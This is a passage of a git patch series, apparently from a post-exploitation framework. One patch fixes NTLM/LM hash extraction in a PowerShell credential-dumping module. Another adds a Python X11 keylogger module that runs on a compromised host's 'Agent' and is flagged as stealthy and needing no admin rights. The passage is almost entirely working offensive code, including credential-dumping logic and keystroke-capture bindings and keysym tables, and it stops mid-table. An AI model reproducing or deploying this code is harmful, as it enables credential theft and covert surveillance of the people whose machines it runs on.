From 60d835d1e05484b597f79762a64b395334107281 Mon Sep 17 00:00:00 2001
From: Piotr Marszalik <addenial@users.noreply.github.com>
Date: Thu, 14 Sep 2017 14:57:22 -0500
Subject: [PATCH 01/50] Invoke-PowerDump bug - corrupt hash fix

Fixed the bug where the hashes are not being extracted correctly when LM is disabled and history is enabled.

Rather than relying on length, LM and NT headers are checked. Four bytes at 0xa0 show if LM exists and four bytes at 0xac show if NT exists. Details on this known issue can be found in the following whitepaper from blackhat:
https://media.blackhat.com/bh-us-12/Briefings/Reynolds/BH_US_12_Reynods_Stamp_Out_Hash_WP.pdf

This same bug has been fixed in other frameworks sharing the code:
https://github.com/rapid7/metasploit-framework/pull/4233
https://github.com/trustedsec/social-engineer-toolkit/pull/98
https://github.com/samratashok/nishang/pull/3
---
 .../credentials/Invoke-PowerDump.ps1          | 22 ++++++++++++++++---
 1 file changed, 19 insertions(+), 3 deletions(-)

diff --git a/data/module_source/credentials/Invoke-PowerDump.ps1 b/data/module_source/credentials/Invoke-PowerDump.ps1
index dec03c3..47d9dd7 100644
--- a/data/module_source/credentials/Invoke-PowerDump.ps1
+++ b/data/module_source/credentials/Invoke-PowerDump.ps1
@@ -411,14 +411,30 @@ namespace PowerDump
         function Get-UserHashes($u, [byte[]]$hbootkey)
         {
             [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null;
-            if ($u.HashOffset + 0x28 -lt $u.V.Length)
+            
+            # check if hashes exist (if byte memory equals to 20, then we've got a hash)
+            $LM_exists = $false;
+            $NT_exists = $false;
+            # LM header check
+            if ($u.V[0xa0..0xa3] -eq 20)
+            {
+                $LM_exists = $true;
+            }
+            # NT header check
+            elseif ($u.V[0xac..0xaf] -eq 20)
+            {
+                $NT_exists = $true;
+            }
+        
+            if ($LM_exists -eq $true)
             {
                 $lm_hash_offset = $u.HashOffset + 4;
                 $nt_hash_offset = $u.HashOffset + 8 + 0x10;
                 $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)];
                 $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
             }
-            elseif ($u.HashOffset + 0x14 -lt $u.V.Length)
+        	
+            elseif ($NT_exists -eq $true)
             {
                 $nt_hash_offset = $u.HashOffset + 8;
                 $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)];
@@ -494,4 +510,4 @@ namespace PowerDump
         {
             Write-Error "Administrator or System privileges necessary."
         }
-}
\ No newline at end of file
+}

From 00b8427f9beb17aca862fb6b3b10646c54644285 Mon Sep 17 00:00:00 2001
From: Nikaiw <nk@nikaiw.io>
Date: Sun, 24 Sep 2017 19:17:26 +0200
Subject: [PATCH 02/50] Fix PR (generate function signature, opsec value)

---
 .../python/collection/linux/xkeylogger.py     | 794 ++++++++++++++++++
 1 file changed, 794 insertions(+)
 create mode 100644 lib/modules/python/collection/linux/xkeylogger.py

diff --git a/lib/modules/python/collection/linux/xkeylogger.py b/lib/modules/python/collection/linux/xkeylogger.py
new file mode 100644
index 0000000..61f3437
--- /dev/null
+++ b/lib/modules/python/collection/linux/xkeylogger.py
@@ -0,0 +1,794 @@
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        # metadata info about the module, not modified during runtime
+        self.info = {
+            # name for the module that will appear in module menus
+            'Name': 'Keylog',
+
+            # list of one or more authors for the module
+            'Author': ['Nikaiw'],
+
+            # more verbose multi-line description of the module
+            'Description': ("X userland keylogger based on pupy"),
+
+            # True if the module needs to run in the background
+            'Background': True,
+
+            # File extension to save the file as
+            'OutputExtension': "",
+
+            # if the module needs administrative privileges
+            'NeedsAdmin': False,
+
+            # True if the method doesn't touch disk/is reasonably opsec safe
+            'OpsecSafe': True,
+
+            # the module language
+            'Language' : 'python',
+
+            # the minimum language version needed
+            'MinLanguageVersion' : '2.6',
+
+            # list of any references/other comments
+            'Comments': [
+                "WIP, might miss some keys, can't kill agent sometimes"
+            ]
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent': {
+                # The 'Agent' option is the only one that MUST be in a module
+                'Description'   :   'Agent to keylog.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        # During instantiation, any settable option parameters
+        #   are passed as an object set to the module and the
+        #   options dictionary is automatically set. This is mostly
+        #   in case options are passed on the command line
+        if params:
+            for param in params:
+                # parameter format is [Name, Value]
+                option, value = param
+                if option in self.options:
+                    self.options[option]['Value'] = value
+
+    def generate(self, obfuscate=False, obfuscationCommand=""):
+
+        script = """# -*- coding: utf-8 -*-
+# inspired from https://github.com/amoffat/pykeylogger
+import sys
+from time import sleep, time, strftime
+import ctypes as ct
+from ctypes.util import find_library
+
+try:
+    x11 = ct.cdll.LoadLibrary(find_library('X11'))
+
+    x11.XkbOpenDisplay.restype = ct.c_void_p
+    x11.XkbOpenDisplay.argtypes = [
+        ct.c_char_p,
+        ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p
+    ]
+    x11.XCloseDisplay.argtypes = [ ct.c_void_p ]
+    x11.XQueryKeymap.restype = ct.c_int
+    x11.XQueryKeymap.argtypes = [ ct.c_void_p, ct.c_void_p ]
+    x11.XGetInputFocus.restype = ct.c_int
+    x11.XGetInputFocus.argtypes = [ ct.c_void_p, ct.c_void_p, ct.c_void_p ]
+    x11.XInternAtom.restype = ct.c_ulong
+    x11.XInternAtom.argtypes = [ ct.c_void_p, ct.c_char_p, ct.c_byte]
+    x11.XGetWMName.restype = ct.c_int
+    x11.XGetWMName.argtypes = [ct.c_void_p, ct.c_ulong, ct.c_void_p]
+    x11.XQueryTree.restype = ct.c_int
+    x11.XQueryTree.argtypes = [ct.c_void_p, ct.c_ulong, ct.c_void_p, ct.c_void_p, ct.POINTER(ct.c_ulong), ct.POINTER(ct.c_uint)]
+    x11.XGetClassHint.restype = ct.c_int
+    x11.XGetClassHint.argtypes = [ ct.c_void_p, ct.c_ulong, ct.c_void_p ]
+    x11.XkbGetKeyboard.restype = ct.c_void_p
+    x11.XkbGetKeyboard.argtypes = [ ct.c_void_p, ct.c_uint, ct.c_uint ]
+    x11.XkbGetState.argtypes = [ ct.c_void_p, ct.c_uint, ct.c_void_p ]
+    x11.XKeycodeToKeysym.restype = ct.c_uint
+    x11.XKeycodeToKeysym.argtypes = [ ct.c_void_p, ct.c_uint ]
+    x11.XkbKeycodeToKeysym.restype = ct.c_uint
+    x11.XkbKeycodeToKeysym.argtypes = [ ct.c_void_p, ct.c_uint ]
+    x11.XDefaultRootWindow.restype = ct.c_ulong
+    x11.XDefaultRootWindow.argtypes = [ ct.c_void_p ]
+    x11.XNextEvent.argtypes = [ ct.c_void_p, ct.c_void_p ]
+    x11.XMapWindow.argtypes = [ ct.c_void_p, ct.c_ulong ]
+    x11.XSync.argtypes = [ ct.c_void_p, ct.c_int ]
+    x11.XMaskEvent.argtypes = [ ct.c_void_p, ct.c_ulong, ct.c_void_p ]
+    x11.XSelectInput.argtypes = [ ct.c_void_p, ct.c_uint, ct.c_long ]
+    x11.XDestroyWindow.argtypes = [ ct.c_void_p, ct.c_ulong ]
+    x11.XGetEventData.argtypes = [ ct.c_void_p, ct.c_void_p ]
+    x11.XFreeEventData.argtypes = [ ct.c_void_p, ct.c_void_p ]
+    x11.XQueryExtension.argtypes = [ ct.c_void_p, ct.c_char_p, ct.c_void_p, ct.c_void_p, ct.c_void_p ]
+    x11.XGetWindowProperty.argtypes = [ ct.c_void_p, ct.c_ulong, ct.c_ulong, ct.c_long, ct.c_long, ct.c_int, 
+        ct.c_ulong, ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.c_void_p, ct.POINTER(ct.c_char_p)]
+    x11.XGetWindowProperty.restype = ct.c_int
+except:
+    x11 = None
+
+try:
+    xi = ct.cdll.LoadLibrary(find_library('Xi'))
+    xi.XOpenDevice.restype = ct.c_void_p
+    xi.XOpenDevice.argtypes = [ ct.c_void_p, ct.c_uint ]
+    xi.XCloseDevice.argtypes = [ ct.c_void_p, ct.c_void_p ]
+    xi.XISelectEvents.argtypes = [ ct.c_void_p, ct.c_uint, ct.c_void_p, ct.c_int ]
+except:
+    xi = None
+
+
+
+class ClassHint(ct.Structure):
+    _fields_ = [
+        ( "name", ct.c_char_p ),
+        ( "klass", ct.c_char_p )
+    ]
+
+class XkbState(ct.Structure):
+    _fields_ = [
+        ( "group", ct.c_char ),
+        ( "locked_group", ct.c_char ),
+        ( "base_group", ct.c_char ),
+        ( "latched_group", ct.c_char ),
+        ( "mods", ct.c_char ),
+        ( "base_mods", ct.c_char ),
+        ( "latched_mods", ct.c_char ),
+        ( "locked_mods", ct.c_char ),
+        ( "compat_state", ct.c_char ),
+        ( "grab_mods", ct.c_char ),
+        ( "compat_grab_mods", ct.c_char ),
+        ( "lookup_mods", ct.c_char ),
+        ( "compat_lookup_mods", ct.c_char ),
+        ( "ptr_buttons", ct.c_char )
+    ]
+
+class XiEventMask(ct.Structure):
+    _fields_ = [
+        ( "deviceid", ct.c_int ),
+        ( "mask_len", ct.c_int ),
+        ( "mask", ct.c_void_p )
+    ]
+
+class XGenericEventCookie(ct.Structure):
+    _fields_ = [
+        ( "type",        ct.c_int ),
+        ( "serial",      ct.c_ulong ),
+        ( "send_event",  ct.c_int ),
+        ( "display",     ct.c_void_p ),
+        ( "extension",   ct.c_int ),
+        ( "evtype",      ct.c_int ),
+        ( "cookie",      ct.c_uint ),
+        ( "data",        ct.c_void_p )
+    ]
+
+class XEventType(ct.Structure):
+    _fields_ = [
+        ( "type", ct.c_int ),
+        ( "pad", ct.c_long * 24 )
+    ]
+
+class XEvent(ct.Union):
+    _fields_ = [
+        ( "type",   XEventType ),
+        ( "cookie", XGenericEventCookie ),
+    ]
+
+class XIValuatorState(ct.Structure):
+    _fields_ = [
+        ( "mask_len",   ct.c_int ),
+        ( "mask",       ct.c_void_p ),
+        ( "values",     ct.c_void_p ),
+    ]
+
+class XIButtonState(ct.Structure):
+    _fields_ = [
+        ( "mask_len",   ct.c_int ),
+        ( "mask",       ct.c_void_p )
+    ]
+
+class XIModifierState(ct.Structure):
+    _fields_ = [
+        ( "base",       ct.c_int ),
+        ( "latched",    ct.c_int ),
+        ( "locked",     ct.c_int ),
+        ( "effective",  ct.c_int ),
+    ]
+
+class XIDeviceEvent(ct.Structure):
+    _fields_ = [
+        ( "type",       ct.c_int  ),
+        ( "serial",     ct.c_ulong ),
+        ( "send_event", ct.c_int ),
+        ( "display",    ct.c_void_p ),
+        ( "extension",  ct.c_int ),
+        ( "evtype",     ct.c_int ),
+        ( "time",       ct.c_ulong ),
+        ( "deviceid",   ct.c_int ),
+        ( "sourceid",   ct.c_int ),
+        ( "detail",     ct.c_int ),
+        ( "root",       ct.c_ulong),
+        ( "event",      ct.c_ulong ),
+        ( "child",      ct.c_ulong ),
+        ( "root_x",     ct.c_double ),
+        ( "root_y",     ct.c_double ),
+        ( "event_x",    ct.c_double ),
+        ( "event_y",    ct.c_double ),
+        ( "flags",      ct.c_int ),
+        ( "buttons" ,   XIButtonState ),
+        ( "valuators",  XIValuatorState ),
+        ( "mods",       XIModifierState ),
+        ( "group",      XIModifierState ),
+    ]
+
+class XTextProperty(ct.Structure):
+    _fields_ = [("value" , ct.c_char_p),
+        ("encoding" , ct.c_ulong),
+        ("format" , ct.c_int),
+        ("nitems" , ct.c_ulong)]
+
+def XiMaxLen():
+    return (((27) >> 3) + 1)
+
+def XiSetMask(mask, event):
+    mask[(event)>>3] |= (1 << ((event) & 7))
+
+def keysym_to_XK(ks):
+    return {
+        0xff08: "BackSpace", 0xff09: "Tab", 0xff0a: "Linefeed", 0xff0b: "Clear",
+        0xff0d: "Return", 0xff13: "Pause", 0xff14: "Scroll_Lock", 0xff15: "Sys_Req",
+        0xff1b: "Escape", 0xffff: "Delete", 0xff20: "Multi_key", 0xff37: "Codeinput",
+        0xff3c: "SingleCandidate", 0xff3d: "MultipleCandidate", 0xff3e: "PreviousCandidate", 0xff21: "Kanji",
+        0xff22: "Muhenkan", 0xff23: "Henkan_Mode", 0xff23: "Henkan", 0xff24: "Romaji",
+        0xff25: "Hiragana", 0xff26: "Katakana", 0xff27: "Hiragana_Katakana", 0xff28: "Zenkaku",
+        0xff29: "Hankaku", 0xff2a: "Zenkaku_Hankaku", 0xff2b: "Touroku", 0xff2c: "Massyo",
+        0xff2d: "Kana_Lock", 0xff2e: "Kana_Shift", 0xff2f: "Eisu_Shift", 0xff30: "Eisu_toggle",
+        0xff37: "Kanji_Bangou", 0xff3d: "Zen_Koho", 0xff3e: "Mae_Koho", 0xff50: "Home",
+        0xff51: "Left", 0xff52: "Up", 0xff53: "Right", 0xff54: "Down",
+        0xff55: "Prior", 0xff55: "Page_Up", 0xff56: "Next", 0xff56: "Page_Down",
+        0xff57: "End", 0xff58: "Begin", 0xff60: "Select", 0xff61: "Print",
+        0xff62: "Execute", 0xff63: "Insert", 0xff65: "Undo", 0xff66: "Redo",
+        0xff67: "Menu", 0xff68: "Find", 0xff69: "Cancel", 0xff6a: "Help",
+        0xff6b: "Break", 0xff7e: "Mode_switch", 0xff7e: "script_switch", 0xff7f: "Num_Lock",
+        0xff80: "KP_Space", 0xff89: "KP_Tab", 0xff8d: "KP_Enter", 0xff91: "KP_F1",
+        0xff92: "KP_F2", 0xff93: "KP_F3", 0xff94: "KP_F4", 0xff95: "KP_Home",
+        0xff96: "KP_Left", 0xff97: "KP_Up", 0xff98: "KP_Right", 0xff99: "KP_Down",
+        0xff9a: "KP_Prior", 0xff9a: "KP_Page_Up", 0xff9b: "KP_Next", 0xff9b: "KP_Page_Down",
+        0xff9c: "KP_End", 0xff9d: "KP_Begin", 0xff9e: "KP_Insert", 0xff9f: "KP_Delete",
+        0xffbd: "KP_Equal", 0xffaa: "KP_Multiply", 0xffab: "KP_Add", 0xffac: "KP_Separator",
+        0xffad: "KP_Subtract", 0xffae: "KP_Decimal", 0xffaf: "KP_Divide", 0xffb0: "KP_0",
+        0xffb1: "KP_1", 0xffb2: "KP_2", 0xffb3: "KP_3", 0xffb4: "KP_4",
+        0xffb5: "KP_5", 0xffb6: "KP_6", 0xffb7: "KP_7", 0xffb8: "KP_8",
+        0xffb9: "KP_9", 0xffbe: "F1", 0xffbf: "F2", 0xffc0: "F3",
+        0xffc1: "F4", 0xffc2: "F5", 0xffc3: "F6", 0xffc4: "F7",
+        0xffc5: "F8", 0xffc6: "F9", 0xffc7: "F10", 0xffc8: "F11",
+        0xffc8: "L1", 0xffc9: "F12", 0xffc9: "L2", 0xffca: "F13",
+        0xffca: "L3", 0xffcb: "F14", 0xffcb: "L4", 0xffcc: "F15",
+        0xffcc: "L5", 0xffcd: "F16", 0xffcd: "L6", 0xffce: "F17",
+        0xffce: "L7", 0xffcf: "F18", 0xffcf: "L8", 0xffd0: "F19",
+        0xffd0: "L9", 0xffd1: "F20", 0xffd1: "L10", 0xffd2: "F21",
+        0xffd2: "R1", 0xffd3: "F22", 0xffd3: "R2", 0xffd4: "F23",
+        0xffd4: "R3", 0xffd5: "F24", 0xffd5: "R4", 0xffd6: "F25",
+        0xffd6: "R5", 0xffd7: "F26", 0xffd7: "R6", 0xffd8: "F27",
+        0xffd8: "R7", 0xffd9: "F28", 0xffd9: "R8", 0xffda: "F29",
+        0xffda: "R9", 0xffdb: "F30", 0xffdb: "R10", 0xffdc: "F31",
+        0xffdc: "R11", 0xffdd: "F32", 0xffdd: "R12", 0xffde: "F33",
+        0xffde: "R13", 0xffdf: "F34", 0xffdf: "R14", 0xffe0: "F35",
+        0xffe0: "R15", 0xffe1: "Shift_L", 0xffe2: "Shift_R", 0xffe3: "Control_L",
+        0xffe4: "Control_R", 0xffe5: "Caps_Lock", 0xffe6: "Shift_Lock", 0xffe7: "Meta_L",
+        0xffe8: "Meta_R", 0xffe9: "Alt_L", 0xffea: "Alt_R", 0xffeb: "Super_L",
+        0xffec: "Super_R", 0xffed: "Hyper_L", 0xffee: "Hyper_R", 0xff7e: "ISO_Group_Shift",
+        0xff7e: "kana_switch", 0xff7e: "Arabic_switch", 0xff7e: "Greek_switch", 0xff7e: "Hebrew_switch",
+        0xff31: "Hangul", 0xff32: "Hangul_Start", 0xff33: "Hangul_End", 0xff34: "Hangul_Hanja",
+        0xff35: "Hangul_Jamo", 0xff36: "Hangul_Romaja", 0xff37: "Hangul_Codeinput", 0xff38: "Hangul_Jeonja",
+        0xff39: "Hangul_Banja", 0xff3a: "Hangul_PreHanja", 0xff3b: "Hangul_PostHanja",
+        0xff3c: "Hangul_SingleCandidate", 0xff3d: "Hangul_MultipleCandidate",
+        0xff3e: "Hangul_PreviousCandidate", 0xff3f: "Hangul_Special",
+        0xff7e: "Hangul_switch", 0xfff1: "braille_dot_1", 0xfff2: "braille_dot_2", 0xfff3: "braille_dot_3",
+        0xfff4: "braille_dot_4", 0xfff5: "braille_dot_5", 0xfff6: "braille_dot_6", 0xfff7: "braille_dot_7",
+        0xfff8: "braille_dot_8", 0xfff9: "braille_dot_9", 0xfffa: "braille_dot_10"
+    }.get(ks)
+
+def keysym_to_unicode(ks):
+    # https://raw.githubusercontent.com/substack/node-keysym/master/data/keysyms.txt
+    return {
+        0x0020: u'\\u0020', 0x0021: u'\\u0021', 0x0022: u'\\u0022', 0x0023: u'\\u0023', 0x0024: u'\\u0024',
+        0x0025: u'\\u0025', 0x0026: u'\\u0026', 0x0027: u'\\u0027', 0x0027: u'\\u0027', 0x0028: u'\\u0028',
+        0x0029: u'\\u0029', 0x002a: u'\\u002a', 0x002b: u'\\u002b', 0x002c: u'\\u002c', 0x002d: u'\\u002d',
+        0x002e: u'\\u002e', 0x002f: u'\\u002f', 0x0030: u'\\u0030', 0x0031: u'\\u0031', 0x0032: u'\\u0032',
+        0x0033: u'\\u0033', 0x0034: u'\\u0034', 0x0035: u'\\u0035', 0x0036: u'\\u0036', 0x0037: u'\\u0037',
+        0x0038: u'\\u0038', 0x0039: u'\\u0039', 0x003a: u'\\u003a', 0x003b: u'\\u003b', 0x003c: u'\\u003c',
+        0x003d: u'\\u003d', 0x003e: u'\\u003e', 0x003f: u'\\u003f', 0x0040: u'\\u0040', 0x0041: u'\\u0041',
+        0x0042: u'\\u0042', 0x0043: u'\\u0043', 0x0044: u'\\u0044', 0x0045: u'\\u0045', 0x0046: u'\\u0046',
+        0x0047: u'\\u0047', 0x0048: u'\\u0048', 0x0049: u'\\u0049', 0x004a: u'\\u004a', 0x004b: u'\\u004b',
+        0x004c: u'\\u004c', 0x004d: u'\\u004d', 0x004e: u'\\u004e', 0x004f: u'\\u004f', 0x0050: u'\\u0050',
+        0x0051: u'\\u0051', 0x0052: u'\\u0052', 0x0053: u'\\u0053', 0x0054: u'\\u0054', 0x0055: u'\\u0055',
+        0x0056: u'\\u0056', 0x0057: u'\\u0057', 0x0058: u'\\u0058', 0x0059: u'\\u0059', 0x005a: u'\\u005a',
+        0x005b: u'\\u005b', 0x005c: u'\\u005c', 0x005d: u'\\u005d', 0x005e: u'\\u005e', 0x005f: u'\\u005f',
+        0x0060: u'\\u0060', 0x0060: u'\\u0060', 0x0061: u'\\u0061', 0x0062: u'\\u0062', 0x0063: u'\\u0063',
+        0x0064: u'\\u0064', 0x0065: u'\\u0065', 0x0066: u'\\u0066', 0x0067: u'\\u0067', 0x0068: u'\\u0068',
+        0x0069: u'\\u0069', 0x006a: u'\\u006a', 0x006b: u'\\u006b', 0x006c: u'\\u006c', 0x006d: u'\\u006d',
+        0x006e: u'\\u006e', 0x006f: u'\\u006f', 0x0070: u'\\u0070', 0x0071: u'\\u0071', 0x0072: u'\\u0072',
+        0x0073: u'\\u0073', 0x0074: u'\\u0074', 0x0075: u'\\u0075', 0x0076: u'\\u0076', 0x0077: u'\\u0077',
+        0x0078: u'\\u0078', 0x0079: u'\\u0079', 0x007a: u'\\u007a', 0x007b: u'\\u007b', 0x007c: u'\\u007c',
+        0x007d: u'\\u007d', 0x007e: u'\\u007e', 0x00a0: u'\\u00a0', 0x00a1: u'\\u00a1', 0x00a2: u'\\u00a2',
+        0x00a3: u'\\u00a3', 0x00a4: u'\\u00a4', 0x00a5: u'\\u00a5', 0x00a6: u'\\u00a6', 0x00a7: u'\\u00a7',
+        0x00a8: u'\\u00a8', 0x00a9: u'\\u00a9', 0x00aa: u'\\u00aa', 0x00ab: u'\\u00ab', 0x00ac: u'\\u00ac',
+        0x00ad: u'\\u00ad', 0x00ae: u'\\u00ae', 0x00af: u'\\u00af', 0x00b0: u'\\u00b0', 0x00b1: u'\\u00b1',
+        0x00b2: u'\\u00b2', 0x00b3: u'\\u00b3', 0x00b4: u'\\u00b4', 0x00b5: u'\\u00b5', 0x00b6: u'\\u00b6',
+        0x00b7: u'\\u00b7', 0x00b8: u'\\u00b8', 0x00b9: u'\\u00b9', 0x00ba: u'\\u00ba', 0x00bb: u'\\u00bb',
+        0x00bc: u'\\u00bc', 0x00bd: u'\\u00bd', 0x00be: u'\\u00be', 0x00bf: u'\\u00bf', 0x00c0: u'\\u00c0',
+        0x00c1: u'\\u00c1', 0x00c2: u'\\u00c2', 0x00c3: u'\\u00c3', 0x00c4: u'\\u00c4', 0x00c5: u'\\u00c5',
+        0x00c6: u'\\u00c6', 0x00c7: u'\\u00c7', 0x00c8: u'\\u00c8', 0x00c9: u'\\u00c9', 0x00ca: u'\\u00ca',
+        0x00cb: u'\\u00cb', 0x00cc: u'\\u00cc', 0x00cd: u'\\u00cd', 0x00ce: u'\\u00ce', 0x00cf: u'\\u00cf',
+        0x00d0: u'\\u00d0', 0x00d0: u'\\u00d0', 0x00d1: u'\\u00d1', 0x00d2: u'\\u00d2', 0x00d3: u'\\u00d3',
+        0x00d4: u'\\u00d4', 0x00d5: u'\\u00d5', 0x00d6: u'\\u00d6', 0x00d7: u'\\u00d7', 0x00d8: u'\\u00d8',
+        0x00d9: u'\\u00d9', 0x00da: u'\\u00da', 0x00db: u'\\u00db', 0x00dc: u'\\u00dc', 0x00dd: u'\\u00dd',
+        0x00de: u'\\u00de', 0x00de: u'\\u00de', 0x00df: u'\\u00df', 0x00e0: u'\\u00e0', 0x00e1: u'\\u00e1',
+        0x00e2: u'\\u00e2', 0x00e3: u'\\u00e3', 0x00e4: u'\\u00e4', 0x00e5: u'\\u00e5', 0x00e6: u'\\u00e6',
+        0x00e7: u'\\u00e7', 0x00e8: u'\\u00e8', 0x00e9: u'\\u00e9', 0x00ea: u'\\u00ea', 0x00eb: u'\\u00eb',
+        0x00ec: u'\\u00ec', 0x00ed: u'\\u00ed', 0x00ee: u'\\u00ee', 0x00ef: u'\\u00ef', 0x00f0: u'\\u00f0',
+        0x00f1: u'\\u00f1', 0x00f2: u'\\u00f2', 0x00f3: u'\\u00f3', 0x00f4: u'\\u00f4', 0x00f5: u'\\u00f5',
+        0x00f6: u'\\u00f6', 0x00f7: u'\\u00f7', 0x00f8: u'\\u00f8', 0x00f9: u'\\u00f9', 0x00fa: u'\\u00fa',
+        0x00fb: u'\\u00fb', 0x00fc: u'\\u00fc', 0x00fd: u'\\u00fd', 0x00fe: u'\\u00fe', 0x00ff: u'\\u00ff',
+        0x01a1: u'\\u0104', 0x01a2: u'\\u02d8', 0x01a3: u'\\u0141', 0x01a5: u'\\u013d', 0x01a6: u'\\u015a',
+        0x01a9: u'\\u0160', 0x01aa: u'\\u015e', 0x01ab: u'\\u0164', 0x01ac: u'\\u0179', 0x01ae: u'\\u017d',
+        0x01af: u'\\u017b', 0x01b1: u'\\u0105', 0x01b2: u'\\u02db', 0x01b3: u'\\u0142', 0x01b5: u'\\u013e',
+        0x01b6: u'\\u015b', 0x01b7: u'\\u02c7', 0x01b9: u'\\u0161', 0x01ba: u'\\u015f', 0x01bb: u'\\u0165',
+        0x01bc: u'\\u017a', 0x01bd: u'\\u02dd', 0x01be: u'\\u017e', 0x01bf: u'\\u017c', 0x01c0: u'\\u0154',
+        0x01c3: u'\\u0102', 0x01c5: u'\\u0139', 0x01c6: u'\\u0106', 0x01c8: u'\\u010c', 0x01ca: u'\\u0118',
+        0x01cc: u'\\u011a', 0x01cf: u'\\u010e', 0x01d0: u'\\u0110', 0x01d1: u'\\u0143', 0x01d2: u'\\u0147',
+        0x01d5: u'\\u0150', 0x01d8: u'\\u0158', 0x01d9: u'\\u016e', 0x01db: u'\\u0170', 0x01de: u'\\u0162',
+        0x01e0: u'\\u0155', 0x01e3: u'\\u0103', 0x01e5: u'\\u013a', 0x01e6: u'\\u0107', 0x01e8: u'\\u010d',
+        0x01ea: u'\\u0119', 0x01ec: u'\\u011b', 0x01ef: u'\\u010f', 0x01f0: u'\\u0111', 0x01f1: u'\\u0144',
+        0x01f2: u'\\u0148', 0x01f5: u'\\u0151', 0x01f8: u'\\u0159', 0x01f9: u'\\u016f', 0x01fb: u'\\u0171',
+        0x01fe: u'\\u0163', 0x01ff: u'\\u02d9', 0x02a1: u'\\u0126', 0x02a6: u'\\u0124', 0x02a9: u'\\u0130',
+        0x02ab: u'\\u011e', 0x02ac: u'\\u0134', 0x02b1: u'\\u0127', 0x02b6: u'\\u0125', 0x02b9: u'\\u0131',
+        0x02bb: u'\\u011f', 0x02bc: u'\\u0135', 0x02c5: u'\\u010a', 0x02c6: u'\\u0108', 0x02d5: u'\\u0120',
+        0x02d8: u'\\u011c', 0x02dd: u'\\u016c', 0x02de: u'\\u015c', 0x02e5: u'\\u010b', 0x02e6: u'\\u0109',
+        0x02f5: u'\\u0121', 0x02f8: u'\\u011d', 0x02fd: u'\\u016d', 0x02fe: u'\\u015d', 0x03a2: u'\\u0138',
+        0x03a3: u'\\u0156', 0x03a5: u'\\u0128', 0x03a6: u'\\u013b', 0x03aa: u'\\u0112', 0x03ab: u'\\u0122',
+        0x03ac: u'\\u0166', 0x03b3: u'\\u0157', 0x03b5: u'\\u0129', 0x03b6: u'\\u013c', 0x03ba: u'\\u0113',
+        0x03bb: u'\\u0123', 0x03bc: u'\\u0167', 0x03bd: u'\\u014a', 0x03bf: u'\\u014b', 0x03c0: u'\\u0100',
+        0x03c7: u'\\u012e', 0x03cc: u'\\u0116', 0x03cf: u'\\u012a', 0x03d1: u'\\u0145', 0x03d2: u'\\u014c',
+        0x03d3: u'\\u0136', 0x03d9: u'\\u0172', 0x03dd: u'\\u0168', 0x03de: u'\\u016a', 0x03e0: u'\\u0101',
+        0x03e7: u'\\u012f', 0x03ec: u'\\u0117', 0x03ef: u'\\u012b', 0x03f1: u'\\u0146', 0x03f2: u'\\u014d',
+        0x03f3: u'\\u0137', 0x03f9: u'\\u0173', 0x03fd: u'\\u0169', 0x03fe: u'\\u016b', 0x047e: u'\\u203e',
+        0x04a1: u'\\u3002', 0x04a2: u'\\u300c', 0x04a3: u'\\u300d', 0x04a4: u'\\u3001', 0x04a5: u'\\u30fb',
+        0x04a6: u'\\u30f2', 0x04a7: u'\\u30a1', 0x04a8: u'\\u30a3', 0x04a9: u'\\u30a5', 0x04aa: u'\\u30a7',
+        0x04ab: u'\\u30a9', 0x04ac: u'\\u30e3', 0x04ad: u'\\u30e5', 0x04ae: u'\\u30e7', 0x04af: u'\\u30c3',
+        0x04b0: u'\\u30fc', 0x04b1: u'\\u30a2', 0x04b2: u'\\u30a4', 0x04b3: u'\\u30a6', 0x04b4: u'\\u30a8',
+        0x04b5: u'\\u30aa', 0x04b6: u'\\u30ab', 0x04b7: u'\\u30ad', 0x04b8: u'\\u30af', 0x04b9: u'\\u30b1',
+        0x04ba: u'\\u30b3', 0x04bb: u'\\u30b5', 0x04bc: u'\\u30b7', 0x04bd: u'\\u30b9', 0x04be: u'\\u30bb',
+        0x04bf: u'\\u30bd', 0x04c0: u'\\u30bf', 0x04c1: u'\\u30c1', 0x04c2: u'\\u30c4', 0x04c3: u'\\u30c6',
+        0x04c4: u'\\u30c8', 0x04c5: u'\\u30ca', 0x04c6: u'\\u30cb', 0x04c7: u'\\u30cc', 0x04c8: u'\\u30cd',
+        0x04c9: u'\\u30ce', 0x04ca: u'\\u30cf', 0x04cb: u'\\u30d2', 0x04cc: u'\\u30d5', 0x04cd: u'\\u30d8',
+        0x04ce: u'\\u30db', 0x04cf: u'\\u30de', 0x04d0: u'\\u30df', 0x04d1: u'\\u30e0', 0x04d2: u'\\u30e1',
+        0x04d3: u'\\u30e2', 0x04d4: u'\\u30e4', 0x04d5: u'\\u30e6', 0x04d6: u'\\u30e8', 0x04d7: u'\\u30e9',
+        0x04d8: u'\\u30ea', 0x04d9: u'\\u30eb', 0x04da: u'\\u30ec', 0x04db: u'\\u30ed', 0x04dc: u'\\u30ef',
+        0x04dd: u'\\u30f3', 0x04de: u'\\u309b', 0x04df: u'\\u309c', 0x05ac: u'\\u060c', 0x05bb: u'\\u061b',
+        0x05bf: u'\\u061f', 0x05c1: u'\\u0621', 0x05c2: u'\\u0622', 0x05c3: u'\\u0623', 0x05c4: u'\\u0624',
+        0x05c5: u'\\u0625', 0x05c6: u'\\u0626', 0x05c7: u'\\u0627', 0x05c8: u'\\u0628', 0x05c9: u'\\u0629',
+        0x05ca: u'\\u062a', 0x05cb: u'\\u062b', 0x05cc: u'\\u062c', 0x05cd: u'\\u062d', 0x05ce: u'\\u062e',
+        0x05cf: u'\\u062f', 0x05d0: u'\\u0630', 0x05d1: u'\\u0631', 0x05d2: u'\\u0632', 0x05d3: u'\\u0633',
+        0x05d4: u'\\u0634', 0x05d5: u'\\u0635', 0x05d6: u'\\u0636', 0x05d7: u'\\u0637', 0x05d8: u'\\u0638',
